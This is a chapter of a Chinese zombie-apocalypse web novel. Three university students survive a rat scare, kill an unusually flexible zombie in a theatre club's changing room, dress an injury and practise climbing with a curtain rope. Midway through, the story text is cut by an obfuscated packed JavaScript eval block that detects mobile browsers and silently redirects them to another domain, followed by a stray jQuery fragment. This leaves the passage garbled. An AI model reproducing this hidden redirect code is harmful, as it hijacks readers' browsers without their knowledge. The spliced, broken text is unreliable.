14. 第 14 章
作品:《末世校园[丧尸]》 林琦玥撕心裂肺地尖叫:“啊啊啊啊,有老鼠!”
方映蘅和徐亦橙捂住耳朵,抵挡震耳欲聋的叫喊,紧接着,神奇的一幕发生了,老鼠浑身的绒毛炸起,像断了线的木偶僵直倒下。
林琦玥蜷缩在墙角,颤颤巍巍地说:“死了吗?”
徐亦橙走过去,近距离观察了一会:“没有,只是晕过去了。”
她现在回想起来都觉得耳朵疼:“就你的狮吼功,谁能扛得住?”
林琦玥仍然心有余悸:“谁让它突然窜出来吓我一跳,我还以为是丧尸。”
徐亦橙指了指窗帘下微小的缝隙:“那么点地方,丧尸也藏不下啊。”
她注意到方映蘅的神色不太对劲:“你怎么了?”
方映蘅回过神,勉强挤出笑容:“没事。”
她眼眸微闪,膝盖绷得僵直:“把老鼠丢出去吧,免得等会醒来又吓到琦玥。”
徐亦橙认同她的观点,随便找了个塑料袋,将老鼠包裹住,然后打开窗户探头往下看,确定周围无人后,直接丢了下去。
她关上窗户,转头方映蘅递了杯水过来。
徐亦橙不渴,但她没拒绝,毕竟是人家的一番好意。
她伸手要去接,“谢谢”即将脱口而出,方映蘅收回纸杯:“不是给你喝的。”
“那是干嘛的?”
方映蘅认认真真地说:“洗手,老鼠的身上有很多细菌。”
徐亦橙觉得没那个必要:“我拿塑料袋包的,没直接用手碰。”
方映蘅把杯子塞到她手中:“那也不行,必须洗手。”
她一副你不洗手就誓不罢休的神情,徐亦橙拿她没办法,只能应下。
徐亦橙的手伸到窗外,方映蘅捏着纸杯往她手上倒水,水流顺着指缝缓缓流淌,徐亦橙来回揉搓。
“你这么洁癖,完全不符合你咸鱼的人设。”等到半杯水倒完,徐亦橙觉得差不多了,摊开掌心,伸到她面前检查,“可以了吧?”
方映蘅看都没看,从包里掏出香皂放到她的掌心:“用香皂再洗一遍。”
徐亦橙难以置信:“你还带肥皂?!”
方映蘅只是平静地看着她,看似波澜不惊,没有半点情绪,徐亦橙却莫名有点怂,乖巧地拿起香皂继续清洗。
“你带了香皂?怎么不早说?”林琦玥扯着衣领,低头闻了闻,“洗完后给我用用,我总觉得身上一股味道。”
“你们还好,出宿舍前肯定洗过澡,我都快一周没洗了。”林琦玥实在忍受不了,“正好旁边有个更衣室,我去那洗澡。”
她们学校的都是净饮机,连接管道,无需换水,能够直接过滤自来水饮用,只要不断水,就不用担心面临缺水的困境。
方映蘅的小嘴一如既往的毒:“和赵睿那群人待在一块,就算天天洗澡,也会染上一身臭味。”
洗手费不了多少功夫,很快完事,方映蘅拉着她的手翻来覆去检查一通,才放过徐亦橙。
林琦玥挑挑拣拣选了件看得过去比较日常又不会影响行动的衣服,条件有限,她就拿头盔充当水桶装水。
她提着头盔到更衣室,结果推开门,对上一双灰败浑浊的眼睛。
林琦玥发出土拨鼠尖叫,手一抖,头盔哐当砸中丧尸的脑袋,力道之大让它踉跄着后退几步。
可惜头盔并未对它造成伤害,丧尸依然不死心,以泰山压顶之势扑上来,方映蘅当机立断,猛地跃起,对着丧尸当胸一脚。
伴随着闷响,那具躯体如断裂的风筝线倒飞出去,重重地砸在身后的铁柜,铁柜的一角被撞得变形,丧尸软趴趴地瘫倒在旁。
林琦玥:“死了?”
方映蘅紧紧盯着丧尸,从口袋抽出刀:“没那么简单。”
丧尸的眼珠子不停地来回转动,牙齿咯咯作响,三人的鸡皮疙瘩都起来了,瘫软的躯体骤然弹起。
刚刚情况危机没注意,这时候她们才发现丧尸穿着一身洛丽塔裙子,腰间原本精致的蝴蝶结贝扯得七扭八歪,随时可能掉落,它的面容与风格甜美的衣裙形成极大的反差。
画面冲击力太大,让几人一下愣在原地。
丧尸直奔方映蘅而来,等她回过神来,对方已至身前,但方映蘅也不是吃素的,侧身闪开的同时,刀尖对准丧尸的脑袋狠狠刺下去。
丧尸徒然向后弯折,直至脑袋抵在地面,那近乎是一种违背人体极限的角度,刀扑了个空。
这是迄今为止遇到过最难缠的对手,无论方映蘅如何攻击,使出浑身解数,它都能以意想不到的姿势躲开,简直脱离了人类的范畴。
徐亦橙惊呆了:“这家伙没有骨头吗?”
林琦玥神色凝重:“应该是舞蹈生。”
两人想要上前帮忙,却是有心无力,方映蘅和丧尸斗得难舍难分,她们根本插不进去。
丧尸猛然旋身,腿部高高扬起,如黑色闪电般横扫而出,方映蘅避之不及,被这股强大的力量击中,连连倒退,后背重重地撞上墙壁。
剧烈的疼痛让方映蘅脑袋空白了一瞬,就这几秒的功夫丧尸再度袭来,张口血盆大口就要撕咬。
千钧一发之际,徐亦橙抱住丧尸的腰部使劲往后拖,她能感受到怀里的丧尸拼命挣扎,嘴巴张张合合,多次尝试往后转,不安分地想要挣脱束缚。
它所做的努力不过是徒劳,徐亦橙死死地钳住丧尸,将对方扼杀在摇篮里,可她也空不出手杀丧尸,双方僵持不下。
趁此机会,林琦玥举起剪刀刺入丧尸的眉心。
丧尸软趴趴倒下,没了动静。
徐亦橙大口喘着粗气,一下泄了力气,瘫软在地。
林琦玥有点惊疑不定,视线在她和丧尸间来回扫视:“你力气这么大?”
徐亦橙也没想到自己能制服住丧尸:“可能是我经常做农活的缘故吧。”
比起耗尽力气的徐亦橙和后背撞到墙壁的方映蘅,林琦玥是唯一能正常行动的人。
方映蘅撞墙的场景历历在目,她大步走过去,语气关切:“小蘅,你还好吗?”
疼痛顺着脊背一点一点往上爬,方映蘅没完全缓过来,头晕眼花,她甚至怀疑自己受了内伤:“我……”
余光瞥到丧尸身上的血迹,本就没恢复的方映蘅又受到重创,晕血症发作,胃里翻江倒海,她小跑到窗边,大吐特吐起来。
徐亦橙顾不上休息了,抓着桌子就要站起来,不料她起身太猛,眼前阵阵发黑,身体不受控制向前倾倒,她条件反射想要抓住什么稳住身形,却没抓住,连人带凳子摔了个四脚朝天。
巨大的动静引来林琦玥的目光,吓得她赶紧过去扶徐亦橙起身。
林琦玥捡起凳子,拉着她坐下,没好气地说:“都这样了,你还非要逞强,现在好了,喜提平地摔的成就。”
徐亦橙疼得龇牙咧嘴:“我这不是担心小蘅嘛。”
林琦玥还想说什么,那边传来呕吐的声音,方映蘅吐得更厉害了。
徐亦橙扶着腰,把她往方映蘅的方向推:“别管我,你去看看小蘅。”
手心手背都是肉,林琦玥犹豫不决,在徐亦橙的催促声中,还是选择了方映蘅。
林琦玥:“你感觉怎么样?”
方映蘅摆摆手:“我吐一会就好了。”
她的视线不经意扫过林琦玥的手,扶着墙壁又吐了起来。
林琦玥看向手中沾满血迹的剪刀,尴尬地藏在身后:“不好意思,我忘记了。”
方映蘅想说没关系,可惜身体不让她说话,张嘴就是:“呕。”
以前向来是别人照顾自己,林琦玥照顾别人的经验基本为零,她只能不轻不重地拍打方映蘅的背部,希望这样能让他舒服一点。
她的手刚拍下去,方映蘅发出一声惨叫:“嗷!”
林琦玥急急忙忙地问:“怎么了?怎么了?”
方映蘅幽幽开口:“你拍到我伤口了。”
林琦玥:“……”
事实证明,专业的事得交给专业的人去做,林琦玥不是照顾人的料,她怕自己再弄下去,方映蘅没事也变成有事,那她就罪孽深重了。
她远离了方映蘅,站在对方的视线死角处,默默地擦掉剪刀上的血迹。
等她做完这一切,徐亦橙缓过来了,方映蘅也吐得差不多。
但她不敢乱动,因为转过身就有一具鲜血流了满地的丧尸尸体等着她。
许是吐完没多久的缘故,方映蘅的声音有些沙哑:“帮我拿一下墨镜。”
徐亦橙的指尖勾起墨镜镜腿,迈步走向窗边,将墨镜搁在她的手上:“给。”
方映蘅戴上墨镜,视线变回黑色,这让她安心不少。
徐亦橙和林琦玥决定把丧尸扔出去,先不说林琦玥晕血,想到要和丧尸同处一室,她们浑身不舒坦。
林琦玥强忍着刺鼻的腥气,抓住丧尸的脚踝,徐亦橙抬起丧尸的肩膀,两人同时发力,将沉甸甸的躯体抛出窗外。
砸在水泥地的瞬间,数只丧尸迫不及待地涌上,喉咙里发出嘶吼,争先恐后地撕咬同类的身体。
这一幕过于震撼,徐亦橙的胃部抽搐,发出抗议的声音,她闭上眼睛,猛地合上窗户。
再看下去,她必定要加入方映蘅的呕吐小队。
扔完丧尸的林琦玥本想先洗手,但觉得方映蘅的伤更要紧,于是她不客气地说:“衣服脱掉。”
方映蘅:“???”
徐亦橙震惊地张大嘴巴,眼神像是在看一个变态。
她的嘴巴张了又合,欲言又止,最终还是没忍住:“我以前从来没发现你有这种癖好。”
林琦玥奇怪地看了她一眼:“你在说什么?我是想看看她的伤。”
徐亦橙反应过来是自己误会了,讪笑两声。
都是女生,没什么好避讳的,方映蘅干脆利落脱掉上衣,露出光滑的背部,映入眼帘的是肩胛骨下方盘踞着巴掌大的淤青,隐隐约约渗出丝丝血迹,令人触目心惊。
林琦玥的瞳孔微微震颤:“疼吗?”
方映蘅平淡如水:“不疼。”
徐亦橙捏着一管药,无从下手,半晌,她做好心里建设,深吸一口气:“忍着点。”
她下手极轻,几乎不敢用力,冰凉的药膏接触到皮肤时,方映蘅忍不住“嘶”一声,徐亦橙立刻停止动作。
方映蘅:“我没事,继续。”
徐亦橙的动作愈发轻了,后续的抹药进行得非常顺利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670624|173146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,方映蘅没发出一丝声音,连眉头都没皱,如果不是最开始的抽气声,她们大概率真的相信方映蘅不疼的说辞。
“怪不得话剧社的活动室没锁,原来是有人在这里。”徐亦橙先前还觉得奇怪,社团活动室的门向来是锁住的,为什么话剧社的门却没锁。
林琦玥合理推测:“我猜她应该是话剧社的成员,逃到这里后才发现自己被咬。”
方映蘅套上衣服:“更衣室的丧尸给了我们一个教训,往后无论去哪,都得先仔仔细细检查房内是否有丧尸,避免再发生今天的情况,打我们个措手不及。”
林琦玥和徐亦橙纷纷点头,这次确实她们疏忽大意。
林琦玥抱着衣服去更衣室洗了个简单的澡,方映蘅原本也想洗澡,但被林琦玥以她背上有伤为由,坚决阻止,她只能眼巴巴地看着徐亦橙进入更衣室洗澡。
三人累了一天,身心俱疲,几乎没怎么休息,过去一年的运动量加起来都没今天多,合上眼睛的那一刻大脑瞬间昏沉,就连昨天还在做噩梦的徐亦橙也陷入深深的睡眠。
这一觉直接睡到中午。
她们现在食物告急,只能省着吃,一日三餐压缩成两餐,午餐随便啃个面包解决掉,开始商议后面的行动。
方映蘅目光放得比较长远:“虽然我们这次行动不需要冒着风险爬窗户,但以后爬树爬窗是无法避免的,所以琦玥还是得学会这项技能。”
徐亦橙提出一个现实的问题:“琦玥没爬过树吧。”
大部分人小时候当过一阵皮猴子,狗都嫌弃的年龄不止是说说而已,上能爬树捅鸟窝,下能打架斗殴,一言不合嚎啕大哭撒泼打滚。
但林琦玥的气质看起来不像是会爬树的人,这种行为和她的优雅人设严重不符合,在徐亦橙的印象中她的童年应当是穿公主裙,在弹钢琴中度过。
她提的问题,方映蘅也考虑到了:“我们后天出发,一天多足够教琦玥了。”
“不需要那么久。”林琦玥冷不丁地说,“我学过攀岩。”
方映蘅有些惊讶,但转念一想,林琦玥家缠万贯,有些小众爱好很正常。
话虽如此,方映蘅仍旧不放心她爬窗。
几人扯下窗帘,拿剪刀剪成布条绑在一起做绳子,徐亦橙被恶意砸石头的场景犹在眼前,还是谨慎为上,如果出现突发情况,她们可以立刻拉人上来,这样能最大限度保障大家的安全。
“你们都别弄,我一个人来吧。”徐亦橙看不下去了,照她们的做法得到猴年马月,“回头绳子不结实摔下去,就能见到黑白无常带你们回家了。”
徐亦橙低头摆弄着布条:“你爸爸和哥哥教你防身术的时候,没顺带教你野外生存经验吗?”
方映蘅:“教了。”
徐亦橙摸摸不存在的胡子,一脸深沉:“懂了,虽然你的身体还在,但灵魂不甘束缚,早已飘向自由的云端。”
林琦玥给她的后脑勺不客气地来了一巴掌:“说话正常点。”
徐亦橙瞬间老实:“简称走神。”
方映蘅表示何止走神那么简单。
她的防身术一半是跟爸爸学的,另一半是和方藤学的,方藤励志要继承爸爸的衣钵,从小受到严苛的训练,天不亮就起来锻炼,风雨无阻。
父母在世时,她和方藤的关系说不上手足情深,但也不像如今相对无言,整天打打闹闹,今天我揍你一拳,明天你踹我一脚,无时无刻想着坑对方。
方映蘅一心和方藤作对,所以当爸爸让方藤教她野外生存知识,她满脑子是如何捣乱,看到对方气得跳脚,她就身心舒畅。
她是开心了,弄得鸡飞狗跳,结果是那堂课上到一半被迫中断,谁也说服不了谁,方映蘅万分嫌弃方藤,方藤懒得做她老师,这件事上他们难得达成协议,团结合作,在爸爸那瞒天过海。
但方映蘅不会后悔,哪怕再来一次她要会先选择给方藤下套,因为那时候的他实在是太欠揍了!
徐亦橙心灵手巧,手指翻飞间漂亮的绳结就打好了,林琦玥甚至没看清她得动作,没多少功夫一条结实的绳子展现众人眼前。
方映蘅看了半天愣是没明白她是怎么做到的:“以后找不到专业相关的工作或者厌烦了傻X老板,你还可以做些手工去摆摊,起码饿不死。”
徐亦橙叹了口气:“说实话我已经放弃寻找与专业相关的工作了,那点工资还不如进厂。”
这番话得到方映蘅和林琦玥的一致认同,每年毕业的大学生越来越多,岗位却跟不上需求,导致内卷愈发严重,工资十年如一日的不变。
方映蘅测试了一下绳子的松紧度,确定足够结实,可以承受几人的体重也不会突然断裂,才绑到林琦玥的腰上,另一段绑在柜子上。
方映蘅叮嘱道:“小心点。”
林琦玥比了个OK,翻过窗户,双腿蹬在墙壁上,身体悬空,纵身一跳,精准无误地落在空调外机上。
整个过程行云流水,非常熟练,可以看出她的攀岩功力确实不错。
看看天赋异禀的徐亦橙,再看看攀岩经验丰富的林琦玥,本来方映蘅觉得自己爬树挺厉害的,结果跟她们比起来是小巫见大巫。
合着最菜的反倒成自己了?